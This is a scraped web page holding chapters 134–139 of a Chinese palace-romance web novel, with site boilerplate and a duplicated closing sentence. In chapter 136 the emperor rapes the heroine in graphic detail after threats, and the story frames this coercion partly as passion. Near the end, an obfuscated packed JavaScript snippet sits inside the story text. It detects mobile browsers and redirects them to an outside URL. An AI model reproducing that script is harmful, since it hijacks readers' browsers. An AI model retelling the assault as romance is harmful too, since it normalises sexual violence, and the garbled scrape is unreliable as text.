五年来,她就是穿着这样老气横秋的衣裳,装成哑巴在他面前虚与委蛇,为了不让他起旁的心思,整天对着他素面朝天,一点脂粉都不肯用。 可见这女人心机如何深沉,行事如何谨慎。 这章没有结束,请点击下一页继续阅读!最可恨的是,这些心眼子全都拿来对付他了。 他到底有多令她厌恶,她才会这般费尽心思地躲避他? 祁让恨恨地磨了磨牙,落在晚余身上的视线都变成了刀子。 晚余未曾与他对视,却被他看得浑身发毛,后背出了一层冷汗,由此也更加清醒,自己现在面对的是祁让,而不是祁望。 如果说祁望的目光是和风旭日,祁让的目光就是风刀霜剑,能杀人于无形。 她定了定神,斟酌着回答祁让的问题:“晋王殿下的精神看起来还可以,心境也很平和,他说他平时就是看看书,写写字,相比从前,这样的日子反倒更适合他。” “呵!”祁让闻言发出一声嗤笑,“这你也信?他若真是这样甘于平凡的人,当初也不会派人暗杀朕。你知不知道,朕体内的残毒,有一大半都是他的功劳。” 晚余不知祁让这话是真是假,单就今晚她所看到的晋王来说,真不像是一个会背后使阴招的人。 但人都有两面性,有时候眼见也未必属实。 她默然一刻,顺着祁让的话说:“是晋王自己说的,嫔妾并未相信。” “你会不信?”祁让审视地看着她,语气揶揄,“你们女人不是最喜欢同情这种长得好看又有悲惨遭遇的男人吗?” “……” 晚余无言以对。 她为什么要同情这种男人? 她自己比谁都可怜,她同情自己都来不及,为什么要同情一个只见过一面的陌生男人? 再说了,如果按照晋王的讲述,祁让自己不也是这种长得好看又有悲惨遭遇的男人吗? 难道自己也要同情他? 他可真是想多了。 “怎么不说话,被朕说中了?” 祁让见晚余不说话,陡然冷下脸,赤足下了床,走过来掐住了她的下颌,逼她与自己对视,“你是不是很同情祁望,觉得他可怜,觉得他的可怜都是朕造成的?嗯?” 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第135章 告诉朕,你是不是吃醋了 晚余被他突如其来的怒火吓得心肝微颤,双眼惊惶地与他对视。 “皇上误会了,嫔妾没有这样想,今晚之前,嫔妾与晋王殿下根本不认识,他与皇上之间只是成王败寇而已,没什么可不可怜的,倘若皇上败给他,他都未必会留下皇上的性命,所以,嫔妾真的没有同情他。” 祁让冷眼看着她受惊小鹿般的模样,手上加重了力道:“那你觉得,晋王是个什么样的人?” 这话问的,晚余不知道该怎么回答。 可她不回答,祁让又不肯放过她。 斟酌再三之后,她迎着男人森冷的目光小心翼翼道:“晋王殿下和皇上长得一模一样,但没皇上有气势,没皇上威风,他被关得太久,说话都有气无力的,所以显得很温和,别的也没什么特别之处。” “就这?”祁让并不满意她的回答,脸向她逼近了几分,“人人都说晋王是谦谦君子,温润如玉,谪仙下凡,难道你就没感觉?” 两人离得如此之近,近到晚余都能闻到他身上似有若无的龙涎香气。 “嫔妾没有感觉。”她在他极具侵略性的逼视下,不得不说些好听话哄他,“晋王现在不过是皇上的阶下囚,一个囚犯,能好看到哪里去,在嫔妾眼里,他除了和皇上长的一样,别的都和皇上没有可比性。” 祁让眸光微动,凝视她半晌后,脸往后撤,松开钳住她下颌的手:“他都和你说了什么?” “也没说什么。”晚余缓了口气,用手背抚了抚被他捏疼的下颌骨,“晋王殿下问我是谁,怎么进去的,我说我是晋王妃的妹妹,皇上的司寝女官,受太后所托去看他的。” “太后?”祁让剑眉微蹙,眼底疑云又起,“不是晋王妃拜托你的吗,和太后有什么关系?” 他真的很敏锐,一下子就察觉出了不对。 好在晚余事先已经想好应对之词,不慌不忙道:“确实是晋王妃拜托嫔妾的,但嫔妾想着,皇上可能不太想让晋王知道晋王妃的状况,再一个,嫔妾也想替皇上试一试晋王殿下的反应。” “他什么反应?”祁让问。 晚余实话实说:“嫔妾告诉晋王殿下,太后对他还有期望,他说他如今已经沦为皇上的阶下囚,这辈子都没有指望了,让嫔妾转告太后,不要再挂念他,好好颐养天年才是正经。” “他真这么说的?”祁让唇角勾出一抹嘲讽,“他如果真的歇了所有的心思,还活着干什么,难道他很享受当囚犯的生活吗?” 晚余摇头:“这个嫔妾就不知道了,或许是有牵挂的人,舍不得死吧!” “像你一样吗?”祁让嗤笑一声,“你不就是牵挂着沈长安,才舍不得去死的?” 晚余听他提起沈长安,心口蓦地一疼,仿佛一根尖锐的刺扎进心底,痛色从眼底蔓延开来。 祁让盯着她神情的变化,目光变得幽冷:“又被朕说中了是吗?你和祁望同病相怜了是吗? 朕拆散了他和江晚棠,又拆散了你和沈长安,你们两个是不是很有共同话题,是不是都对朕恨之入骨? 你和他提起太后,是不是想看看他有没有造反的心思?要是有的话,你就要和他联手了是吗?” 晚余的心不受控制地快跳了几下,后背一阵湿凉。 虽然她的确动过这方面的心思,和祁望说起太后,也的确是为了试探祁望的态度。 但她打死都不能在祁让面前承认。 “皇上多虑了。”她尽量语气平缓道,“嫔妾就是替皇上去完成晋王妃的心愿,没有别的任何想法,晋王虽然心善,但嫔妾不觉得他比皇上更适合这个位子,治理国家,就是需要皇上这样的人。” “朕是什么样的人?”祁让眯了眯眼,“你是想说朕比他狠,比他冷血,比他无情,是吗?” “嫔妾没有,嫔妾不是这个意思。” “那你什么意思?”祁让突然爆发,再次出手捏住了她的下巴,“你不过见了祁望一面,就觉得他善良,觉得他比朕好,是吗? 从小到大,所有人都说他比朕好,现在,连你也这么认为。 他哪里好了,哪里善良了,你知道死在他手里的人有多少吗?你知道他是怎么对朕的吗?” 晚余已经尽量不提及晋王的优点,没想到一个“心善”就令祁让发了这么大的火。 她已经不知道该怎样应对他,只能装出委屈的样子冲他喊道:“我说了我没有,皇上既然不相信我,又何必让我去见晋王? 我一开始就说了,江晚棠是我的仇人,不值得我为她冒险,是皇上心疼她,非要我替她跑这一趟,怎么到头来全都成了我的错? 皇上怀疑我,为什么不怀疑江晚棠,她一心想知道晋王的消息,难道就没有别的心思吗? 因为她是皇上的心上人,所以皇上无论如何都不舍得把她往坏处想,是吗?” 她一口气喊出来,眼里蓄了两汪泪,要掉不掉地与祁让对视。 仿佛是气狠了,什么都顾不得了,一把打掉祁让的手,在两汪泪变成泪珠滚落下来的同时,转身就走。 本小章还未完,请点击下一页继续阅读后面精彩内容!下一刻,祁让追上来,一把扯住她的手腕将她拽进了怀里。 “说走就走,经过朕允许了吗?江晚余,你现在真是长本事了,都敢对朕大呼小叫了。” 晚余的后背撞在他结实的胸膛上,挣了两下没挣脱,赌气似的说道:“嫔妾不管说什么,皇上都不信,嫔妾的每一句话,都会引起皇上对嫔妾的怀疑,皇上到底想要嫔妾怎样?” “那还不是因为你欺骗朕。”祁让贴在她耳边幽幽道,“你骗了朕五年,叫朕如何相信你?” 温热的气息拂过耳畔,晚余一阵颤栗,耳垂都泛起了粉红。 她又羞又恼,用力挣扎:“既然如此,嫔妾无话可说,请皇上准许嫔妾离开。” “这么晚了,你要去哪儿?”祁让掐着她的细腰,将她转过来面朝自己,“你现在回咸福宫,连宫门都进不去,让康嫔知道了,没准还给你安个什么夜会情郎的罪名,到时候朕可不帮你。” 晚余忍不住自嘲一笑:“皇上不落井下石就是好的,什么时候帮过我了?” 祁让的脸黑了黑,突然将她拦腰抱起,几步走回床前,把她扔在床上,欺身压了上去。 “啊!”晚余惊呼一声,双手抵住他的胸膛,本能地想要反抗。 “敢动一下试试!”祁让眸色幽暗,语带警告,“朕不会每次都对你心软。” 晚余松了手,目光惊惧地望着他,眼里还残留着水雾。 祁让从她雾蒙蒙的眼底看到自己的脸,半晌,突然问她:“你一直说朕是为了你姐姐,舍不得你姐姐,你是不是吃醋了?” 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第136章 要靠强取豪夺才能得到她 晚余对上祁让那双漆黑如深渊的眼睛,只觉得他这话问得可笑。 她又不喜欢他,他和祁望和江晚棠之间的纠葛也与她无关,她为什么要吃醋? 如果有可能,她巴不得祁让直接把江晚棠抢过来,纳入后宫,从此独宠江晚棠一人。 这样她就解脱了。 “说话呀!”祁让得不到她的回答,将她压在身下,整张脸向她凑过去。 晚余偏了偏头,尽量避开他的碰触,气息不稳道:“皇上和姐姐的事,与嫔妾无关,嫔妾犯不着吃醋。” “与你无关?”祁让对这个回答很不满意,眉心深深蹙起,“你是朕的妃嫔,朕是你的夫君,怎么与你无关?” 晚余本能地排斥夫君这个称谓。 即便她不得已成了祁让的后宫,也从不曾将祁让当成她的夫君。 她忍着把他从身上推下去的冲动,委婉道:“皇上不是嫔妾一个人的夫君,后宫那么多主子娘娘,就算吃醋,也轮不到嫔妾一个小小的采女。” 祁让冷哼一声:“这会子倒是懂规矩了,你还知道你只是一个小小的采女,你冲朕大呼小叫的时候,怎么没想到自己只是一个小小的采女?” 晚余无话可说,偏着头不再言语。 祁让却把她的躲避当作赌气,一只手撑在她身侧,一只手掐着她的下颌,强行将她的脸扭过来,迫使她与他正面相对。 “嫌朕给你的位分低是吗,你好好服侍朕,朕才能给你晋位分,你若一直这样硬着脖子不低头,到死都只能是个采女。” “嫔妾不在意位分。”晚余嘴上这么说着,心里却想,如果做采女可以不侍寝,她情愿做一辈子采女。 祁让盯着她,眼底有危险的气息蔓延。 她说他和江晚棠的事与她无关,又说她不在意位分,说到底,不就是不在意他吗? 这不识抬举的女人! 她到底要怎样? 他气得红了眼,一把扯开了她的衣襟,恨恨道:“既然不在意,朕就让你以采女的身份伺候朕一辈子!” 晚余惊呼一声,双手捂在裸露的胸前。 “拿开!”祁让冷声命令,“朕说过,朕不会每次都对你心软。” 晚余看着他,眼中的惊惧变成了哀求。 仿佛一只落入陷阱的小羊,在乞求猎人的怜悯。 可是,这陷阱本身就是猎人的手笔,猎人怎么会对它生出怜悯? 猎人只会将它扒皮拆骨,吃得渣都不剩。 祁让见她不动,看向她的目光愈发冰冷:“手拿开,自己脱,别让朕说第二遍!” 晚余摇头,眼里泛起泪光。 这泪光不仅没激起祁让的怜惜,反倒让他更加愤怒。 掐住她下颌的手指用力收紧,一字一句轻漫又戳人心窝:“你是朕的人,你不服侍朕,你想服侍谁,沈长安吗,别告诉朕,事到如今,你还想为他守着,你守得住吗?” 晚余在这样的境地听到沈长安的名字,瞬间心如刀绞。 这个名字,是她心底不能触碰的痛,被祁让以羞辱的语气轻飘飘地念出来,不亚于一把钝刀割开了她尚未愈合的旧伤,让她的心再一次鲜血淋漓。 她闭上眼,一滴泪从眼角滑落。 男人因气愤而粗重的呼吸响在耳畔,她却仿佛听到了边关呼啸的风雪。 她的长安,或许正在边关的风雪中浴血奋战,而她却被帝王禁锢在身下,连思念都是一种僭越。 祁让对那滴泪视而不见,说出的话更是如刮骨的利刃,每一刀都疼得她发颤: “朕知道你还想着沈长安,沈长安走了这么久,你不想知道他现在什么样吗? 你现在见不到徐清盏,除了朕,还有谁能告诉你沈长安的消息? 你自己识相些,朕或许还能告诉你只言片语,你若不听话,朕让你这辈子都听不到关于他的半个字!” 晚余痛到极致,也恨到极致,陡然睁开眼,泪眼汪汪地与他对视。 “皇上身为一国之君,就只剩下这点手段了吗?” 她带着泪对他轻蔑一笑,手向下,缓缓扯开了自己的衣带,将自己袒露在他眼前,“说去说来,不就是为了这档子事吗,既然如此,上回我主动献身,皇上又何必故作清高?” 祁让的身体蓦地僵住,望着身下晃眼的雪白,耳中听到她讥讽的话语,脑子嗡嗡作响,周身气血翻涌。 “就只剩下这点手段了吗?” 这句话简直像是刀子在剜他的心。 他是一国之君,坐拥天下,却只能用威胁来逼一个女人就范。 是这意思吧? 她就是这个意思吧? 她在嘲笑他! 他身为天子,这万里河山的主宰,却偏偏征服不了她的心,她每一次的屈服,都是为了别的男人。 更可气的是,他也确实如她所说,除了沈长安和徐清盏,再没有别的手段对付她。 他在她面前明明该是至高无上的存在,却像个卑微又可恨的掠夺者,要靠强取豪夺才能得到她。 怒火烧得心口生疼,祁让冷笑着,一字一字从牙缝中挤出来:“既然如此,朕便成全你,朕倒要看看,你为了沈长安能忍到什么地步!” 如他所说,他不再对她心软,不再对她留情,目光冰冷地将她压在龙床上。 他看着她雪白的身子在明黄的锦被上挣扎战栗,看着她死死咬住嘴唇,仍抑制不住地发出痛苦的呜咽。 她的嘴唇咬出了血,身上也被他种下斑斑点点青紫的痕迹。 他伏身去吻她的唇,吮吸她唇上嫣红的血。 血腥味在口腔蔓延,唤醒他身体深处的兽性。 他就是要伤害她。 就是要让她痛不欲生。 他不许她闭眼。 他要她看着他,看清楚是谁在占有她。 他要她知道,如今的沈长安对于她,早就如西北的风沙一样遥不可及。 今生今世,她生也好,死也罢,都只能属于他。 无论真心或假意,她永远只能在他身下,被他一次又一次的临幸。 他看着她被疼出的眼泪,将她翻过去,双手掐住她的细腰。 她的腰真的很细,仿佛一用力就能掐断。 可她的骨头为何又这么硬,怎么折都折不弯? 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第137章 不能让她爱,那就让她疼 不知过了多久,狂风暴雨才终于停歇下来。 祁让拉起被子将两人盖住,却仍旧不肯离开她分毫。 晚余疼得要死,每一次呼吸都要小心翼翼。 她想叫他离开,一张口,嗓子却哑得发不出声音,仿佛吞了一把粗粝的沙。 “你想说什么?”祁让的胸膛还在剧烈地起伏,嗓音低沉沙哑,比她好不了多少。 晚余恨他恨得心头滴血,却因为受不了疼,不得不艰涩开口:“你出去……” “去哪儿?”祁让明知故问,“外面天寒地冻,你叫朕去哪儿?” 晚余羞愤难当,自己往后退。 祁让禁锢着她,不许她逃,语气恶劣:“你求朕。” 晚余不肯求他。 “不求是吧,朕还可以……” “求求你!”晚余吓得脸色煞白,终于还是求了他,一只手紧紧抓住他铁一般的手臂,唯恐他真的再来一次。 祁让唇角轻勾,抽身离开。 晚余又发出一声呻吟,额头都渗出密密麻麻的汗珠。 祁让的手从后面扣住她的后脑勺,干涩的唇去吻她额角的汗。 晚余已经没有一丝力气抗拒,除了呼吸,她什么都做不了。 祁让终于放过她,叫人送水进来,把她扔进了洒满花瓣的浴桶里,自己也跟着坐进去,把她抱在怀里,亲自为她清洗。 晚余认命地瘫软在他怀里,像一只随时都会断气的小猫。 男人修长的手指一寸一寸在她身上游走,轻轻慢慢,温柔如水。 如果晚余不是一直清醒地疼痛着,她都怀疑,这个人和刚刚在床上的不是同一个人。 祁让其实也挺疼的。 身上被她挠出了一道道血痕,泡在热水里,疼得他眉头紧锁。 可这疼痛又让他心情舒畅。 他宁愿她疼,宁愿她哭,宁愿她失控,抓他,挠他,咬他,也好过她木着一张脸面对他。 哪怕是做他的囚鸟,她也得是活蹦乱跳的,鲜活灵动的,而不是死气沉沉的。 不能让她爱,那就让她疼。 他愿意和她一起疼。 他把清洗干净的她抱回床上,又叫人送来玉肌膏,亲手帮她擦在受伤的地方。 “你也看到了,你根本不能与朕抗衡,要想自己不受伤,你就得学会服从。” “既然做了朕的女人,就得把过往忘个干净,沈长安也好,徐清盏也罢,从此于你都是陌路。” “你对他们念念不忘,只会害了他们,你知道的,朕不会对任何人手软。” 他将冰冰凉凉的膏体抹在她伤得最严重的地方。 哪怕做这种事,他的神情仍是一个至尊至贵的帝王,每一个动作都做得从容优雅。 晚余涨红着脸,羞辱的泪水在眼眶里打转。 祁让一瞬不瞬地盯着她的泪眼,想从她眼里寻找一点点折服,或者女人在事后对男人那种迷乱的神情。 可惜没有,她哪怕在这样的时刻,眼神仍是清明的,倔强的,没有任何他想要的转变。 他默然一刻,悠悠道:“沈长安刚到西北,就打了一场胜仗,如今西北军士气大振,正在全力抗击胡人,朕相信,过不了多久,他们就能把胡人赶回草原去。” 晚余的眼神瞬间有了变化,于彻骨的疼痛中感到一阵酸楚的欣慰,泪水无声而下。 祁让说:“沈长安是不可多得的良将,只要你们断得干净,朕不会动他分毫,还会照样对他论功行赏,加官进爵,但你若一意孤行,把朕的话当成耳旁风,就别怪朕心狠手辣了。” 他伸手擦去滑至她腮边的泪:“朕爱惜人才,但也不缺他这一个人才,你明白吗?” 晚余无声流泪,指甲掐进掌心,尖锐的疼痛却抵消不了流进嘴里的苦涩。 她闭上眼,默默把头转向墙壁。 眼前闪过少年疏朗带笑的脸。 那鲜活的眉眼,似乎近在眼前,却又隔着一重一重的山水,隔着边关的风沙狼烟,远得像一场不可企及的梦。 祁让没有再逼她,熄了灯,挨着她躺下,一只手从她脖子下面穿过,一只手环在她纤细的腰间,像两道终生都不能挣脱的枷锁。 晚余已经无力挣扎,在他怀里昏昏沉沉地睡了过去。 意识进入混沌之前,她脑海里最后闪现的两个字是——休想! 祁让休想让她真正的屈服。 也休想得到她的心。 她可以为了不连累沈长安而放手,但绝不会就这样认命地从了祁让。 她和祁让之间,隔的不只是沈长安,还隔着阿娘的性命。 阿娘是因为祁让而死的,她永远都不会原谅他。 痛苦而漫长的一夜过去,五更天,祁让准时起来上朝。 昨晚折腾成那样,他也没睡多久,起床时还忍不住打哈欠,龙袍往身上一穿,立刻就像换了个人似的,目光锐利,神情冷傲,腰背挺直,周身都散发出凛然不可侵犯的王者之气。 晚余躺在床上,隔着层层纱帐,看着他在太监的服侍下穿戴整齐。 夜里疯狂恣意的野兽,摇身一变,又成了气度非凡的九五至尊。 她恨恨地看着他,心中五味杂陈。 下一刻,他却走过来撩起了纱帐,那双睥睨众生的狭长凤眸向她看过来。 晚余心头一颤,连忙闭上眼睛装睡,双手在被中紧握成拳。 祁让发出一声轻笑:“别装了,朕知道你醒了。” 晚余不禁红了脸,睁开眼睛与他对视。 祁让说:“你接着睡,睡到什么时候都行,你若不想走,就在这里等朕下朝回来一起用饭,朕把小福子留下听你使唤。” 晚余才不想和他一起用饭,已经打定了主意等他一走就回咸福宫。 祁让像是猜透了她的想法,又道:“你回咸福宫也行,今天不要去给太后请安,你姐姐叫你去你也不要去,先晾她几天再说。” “为什么?”晚余忍不住问,“皇上不怕她着急吗?” 祁让眸光沉了沉:“是她着急,还是你着急,你是不是还想再去看祁望?” ”我没有。“晚余摇头,“晋王说想吃姐姐做的点心,我昨晚忘了告诉皇上。” “点心?”祁让冷笑,“只是单纯的想吃点心吗?” 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第138章 祁让勾唇,手突然钻进她被窝 晚余也觉得祁望想吃点心这个念头并不单纯。 猜想他可能是想借着点心和江晚棠传递什么信息,点心或许是他们之间的暗语。 再不然就是想以此为借口,让自己再去一次,好继续从自己口中获得一些外界的情况,最不济也能陪他解解闷儿。 他一个人苦熬了五年,好不容易抓住自己这根线,自然要想尽办法让这根线不要断掉。 自己若真的送了点心过去,他肯定还会再找别的借口,让自己再去一次。 晚余觉得这人其实也挺聪明的,只是祁让更聪明,一下子就觉察出了他的意图。 可见他败给祁让也不是没道理的。 祁让从小生活在极度恶劣的环境下,不知躲过了多少明枪暗箭才长大成人,这样的他自然更敏锐,更狠辣,祁望那种养尊处优,众星捧月的人,怎么可能是他的对手? 但不管祁望的目的如何,晚余都是乐见其成的,她就是要把他们兄弟两个之间的水搅浑,让他们自相残杀。 如果祁望赢了,祁让的下场可想而知。 如果祁望输了,太后,江晚棠,江连海都得死。 这样她也算大仇得报了。 所以,这件事横竖都是对她有益的,虽然风险也很大。 祁望赢了,江晚棠不一定会留她性命。 祁望输了,她还是祁让的笼中鸟,祁让还有可能因为她从中推波助澜而杀了她,或者变本加厉的折磨她。 但那都是后话,她不能因为那些顾虑就坐以待毙,从此认命地待在后宫做祁让一辈子的禁脔。 祁让在床上根本不拿她当人,她实在受不了这样的**。 与其生不如死的活着,不如放手一搏。 她都已经这样了,还怕什么? 可祁让既然已经猜到祁望的目的不纯,还会答应让江晚棠给他做点心吗? 晚余躺在床上,静静地与祁让对视:“嫔妾猜不透晋王殿下的心思,皇上要是觉得他目的不纯的话,嫔妾不告诉姐姐就是了,以后也不会再去见他。” 祁让审视地看着她,似乎想从她脸上看出什么端倪。 但她除了脸色有些憔悴,双眼有些浮肿,别的什么异常都没有。 祁让想到她昨夜被他欺负的情形,目光变得幽暗,又带了些不易察觉的心疼。 “朕的皇兄想吃点心,朕这个做弟弟的自然要满足他,你只管告诉你姐姐,一份点心而已,不值什么,只是你仍要小心谨慎,不可让她知道朕已经知道了这件事。 晚余没想到他这么爽快就答应了,心下松了口气的同时,唇角勾起一抹嘲讽:“皇上对姐姐当真不一般,这都能容忍。 祁让保持着弯腰的姿势,默默看她,忽而伸手抚摸她唇瓣:“酸成这样,还说不是吃醋? 晚余搞不懂他为何如此执着自己吃不吃醋的问题。 问题是她确实没有吃醋,也不会吃醋。 但她昨晚就是因为说不吃醋才被他折腾个半死的,现在若再这样说,只怕又要遭殃。 她目光躲闪地偏过头,拒绝回答:“皇上快走吧,别误了上朝的时辰。 祁让勾了勾唇,手突然钻进她被窝,在她酥软的胸前捏了一把,转过身,端着帝王的威严架势阔步而去,就像什么都没做过一样。 晚余涨红了脸,恨恨地盯着他的背影,心里骂他:“卑鄙!无耻!下流! 祁让走后,小福子进来,隔着纱幔唤道:“小主,皇上叫奴才服侍您,您是再睡一会儿,还是起来用些膳食? “不睡了,辛苦你帮我拿些干净衣裳来,我回咸福宫去。晚余客气道。 小福子说:“不辛苦,衣裳早就备下了,恰好雪盈姑姑来收拾床铺,奴才叫她进来服侍您更衣可好? 晚余一身的伤痕,其实是羞于见到雪盈的,奈何梅霜和紫苏都不在,她身上实在酸软无力,便同意了小福子的提议。 少顷,雪盈捧着衣裳进来,隔着纱帐叫她:“小主,奴婢服侍您更衣。 晚余听到她这么疏离的叫自己,不由得一阵心酸,嗓音哽咽道:“进来吧! 雪盈撩开纱帐,先把手里的衣裳放在床尾,行了礼之后,才掀开被子扶她起来。 看到她身上青青紫紫的痕迹,雪盈吃惊地吸了一口凉气:“怎么弄成这样了? 晚余瞬间红了眼眶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352149|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>雪盈也不好多说,手指从那些伤痕上抚过:“疼不疼,我去御药房拿些药膏给你擦擦。 晚余含泪摇头:“不用了,昨晚擦过了,已经不疼了。 雪盈念叨一声“造孽 晚余歉疚道:“我总是连累你,现在还要劳你服侍,实在对不住你。 “小主不要这么说,明明是我对不住您。雪盈也忍不住眼圈泛红,“事情已然这样,从前的事就都翻篇儿吧,且不说对不对得住的话,今后小主但凡有用得着我的地方,我定然会不遗余力。 晚余摇摇头:“你不要想着帮我,你自己照顾好自 己,安安生生地捱到明年出宫,对我来说比什么都好。” 雪盈知道,出宫是她的执念,当下便笑着点头道:“好,我知道了,我会照顾好自己的,小主也要照顾好自己。” 她几次欲言又止,最后还是劝了晚余一句:“皇上就是个吃软不吃硬的脾气,你不要和他拧着来,哪怕虚情假意的应付他,也好过**弄的一身伤。 你闲暇的时候,想想这五年是怎样在皇上跟前当差的,那时候皇上一发脾气,谁都劝不住,唯独你可以,你还记得吗?” 晚余抿着唇,没吭声。 雪盈又道:“你自己身在局中感觉不到,其实你现在的情形,就跟你刚进宫时一样,心里想着宫外的人,总是跟皇上硬着来,因此受了不少罪,后来你学会了如何与皇上相处,不就一天天好起来了吗? 现在,你们等于又回到了最初,唯一不同的是,上回你是宫女,这回是皇上的妃嫔,你做宫女都能应付得了的人,成了他的枕边人,不应该更游刃有余吗?” 晚余苦笑。 她知道雪盈说的有道理,可那时的她有着出宫的盼头,想着无论如何忍过那五年,就能解脱了,因此才有心思去讨好祁让。 现在,她所有的希望都被祁让毁了,她的清白也被祁让毁了,叫她怎么对着一个摧毁了她人生,只会像禽兽一样折磨她的人强颜欢笑,还要在他身下曲意承欢? 她做不到,她的身体本能地抗拒他。 只要他一碰,就会疼,跟受刑一样。 她受不了那种感觉。 第139章 仿佛这样就可以和她融为一体 雪盈见晚余一直不说话,知道她一时半会还转不过弯,便叹了口气,帮她把衣裳一件一件穿起来,要亲自送她回去。 晚余没让她送:“你忙你的,别因为我耽误了差事,我一个人走回去,路上正好清醒清醒。” “也行,那你自己小心点。”雪盈没坚持,把她送到殿门外,看着她离开。 晚余浑身酸痛,走得很慢。 出了乾清宫,沿着宫道一路向北。 这个时候,天光还不算太亮,后宫的妃嫔们没有政务要忙,不用像皇帝那样早起,大多数还在睡梦中。 宫道上往来穿行的,都是些干脏活累活的底层宫女太监,他们要在主子们起床之前,把宫道清扫干净,把饭食炭火准备齐全,把夜里的污秽之物运送出去。 那些在主子面前得脸的宫女太监,可以比他们晚起半个时辰,脏活累活也不用他们干,动动嘴皮子就行。 晚余一边走,一边想着雪盈的话,想自己这五年来和祁让相处的点点滴滴。 但她想来想去,发现雪盈还是美化了祁让,就算她后面学会讨好祁让之后,祁让也没少羞辱她,刁难她,只是少了一些体罚而已。 就像现在,祁让已经占有了她,知道她出不去,也没减少对她的欺凌,只不过把欺凌的手段换成了床榻之间。 祁让就是个魔鬼,不会因为她伏低做小就心软,就改变本性。 他根本没有心。 他的恶藏在骨子里,不知道什么时候就会突然爆发。 只有他**,自己才能真正的解脱。 晚余想得出神,左边宫道上突然传来一阵喧闹之声,像是发生了什么冲突。 她本不想理会,却隐约听到一个尖细的嗓声叫骂:“你如今不过是一条落水狗,给爷擦腚都不够格……” 晚余心下一紧,顾不得身上的酸痛,快步向那边跑去。 狭长的宫道上,滚落着一地的银丝炭,几个太监正围着一个太监踢打辱骂。 那太监抱着头倒在地上,身子蜷缩成一团,任凭雨点般的拳脚落在他身上,却咬牙忍着,一声不吭。 晚余看不到他的脸,却一眼就认出了他。 泪水瞬间模糊视线,眼前痛苦蜷曲的身影,和记忆中那个被一群家丁堵在巷子里殴打的少年合而为一。 “清盏!”晚余叫了一声,冲过去扒开**的太监,“住手,都住手!” 徐清盏的身子猛地僵住,却仍抱着头,一动不动。 **的几个太监吃了 一惊,回头看到晚余,又都松了口气,不甚恭敬地给她见礼。 “大清早的,江采女怎么跑到这里来了?”为首的太监面露不屑,阴阳怪气地问道。 晚余认出他是兰贵妃宫里的太监,好像叫赵德全,便皱眉问他:“大清早的你们不好好干活,在这里吵吵嚷嚷做什么?” 赵德全抬腿踢了徐清盏一脚:“回小主的话,是这个不长眼的狗东西,把奴才给贵妃娘娘领的炭给撞翻了,奴才就教训他几下,让他长个记性。” 那一脚踢在徐清盏身上,如同踢在晚余心上,晚余的心骤然一疼,扬手给了赵德全一巴掌。 “啪”的一声脆响,宫道上顿时安静下来。 赵德全捂着脸,面容扭曲:“小主凭什么打我,我可是兰贵妃跟前的人,你就算打狗也要看看主人是谁吧?” “凭你是谁跟前的人,也不能为了一筐炭把人往死里打,你就算告到贵妃跟前去又怎样,难道在贵妃娘娘眼里,人命还不如一筐炭吗?”晚余气愤道。 赵德全放下手,往地上啐了一口:“小主说得对,这狗奴才的命,怎么能跟贵妃娘娘的炭相比,他现在,连根杂草都不如。” “他是狗奴才,你又是什么?”晚余气得浑身发抖,“我知道你瞧不起我,你家主子高高在上,我不过是最末等的采女。 但你也别忘了,我位分再低,也是主子,单凭你不敬主子这一条,便是死罪,我若告到皇上跟前,你猜贵妃娘娘会不会保你?” 赵德全脸色变了变,反过来威胁她:“小主想清楚了,这狗奴才是为什么才被皇上免职为奴的,当真告到皇上跟前,只怕对小主更不利吧?” “那你就试试看。”晚余冷笑,“皇上能留我到现在,足以说明他舍不得动我,我也不怕告诉你,我刚从皇上的龙床上下来,你家主子身份高贵又怎样,皇上多久没翻她的牌子你心里没数吗?” “……” 赵德全哑口无言。 江采女说得对,她虽然是最末等的主子,却也是皇上的心尖宠,真要闹起来,皇上在她和贵妃娘娘之间,大概率是会向着她的。 她整天对皇上冷着张脸,皇上还巴巴地往她跟前凑,她若真想要自己的命,只要对皇上笑一笑,皇上保准立刻让自己脑袋搬家。 “奴才错了,奴才告退!”赵德全识相地躬了躬身子,招呼那几个太监拾起地上的炭匆匆离去。 晚余看着几个人仓皇远去,心里说不出什么滋味。 她恨祁让,却又不得不拿祁让的 名头来为自己虚张声势。 如同祁让说得那样,想要在后宫立足,除了依附他,别无出路。 晚余忍着心痛,在徐清盏跟前蹲下,哽咽出声:“清盏,你怎么样?” 徐清盏放下抱在头上的手臂,对上她的视线,那双在她面前总是带着笑意的狐狸眼,此时却布满血丝,泛着泪光。 “怎么样,没破相吧?”他艰难开口,和她说了那晚乾清宫一别之后的第一句话。 晚余的眼泪瞬间冲出眼眶,因着低头的姿势,恰好落在徐清盏的脸上。 徐清盏血红的眸底是不可抑制的思念,伸手将那滴泪在脸上抹开,让它完完全全渗进肌肤里,仿佛这样就可以和她融为一体。 晚余的泪却不间断地掉下来,一颗一颗砸在他手背上。 他的手以前修长又白皙,骨节匀称,指甲饱满,比女子的手还美上三分。 如今不过短短几日,已经因为劳作变得干枯开裂,上面还有青紫的伤痕。 晚余的心都揪成了一团,眼泪更加汹涌。 她已经下决心不再哭泣,此时此刻,除了流泪,她什么也做不了,她甚至都不能去碰一碰他的手。 徐清盏撑着身子坐起来,将受伤的后背靠在冷硬的墙上,喘息声中带着隐忍的痛苦,却还笑着安慰她:“别哭,我一点都不疼。” 晚余掏出帕子,去擦他嘴角的血迹。 他却夺过帕子,去擦晚余的眼泪:“别哭,小鱼,记着我和你说的话,一切都会好的。” 晚余哽咽点头,带着哭腔,努力把眼泪往肚里咽:“好,我不哭了,以后都不哭了,你要好好的,等着我,我会让一切都好起来的。” 名头来为自己虚张声势。 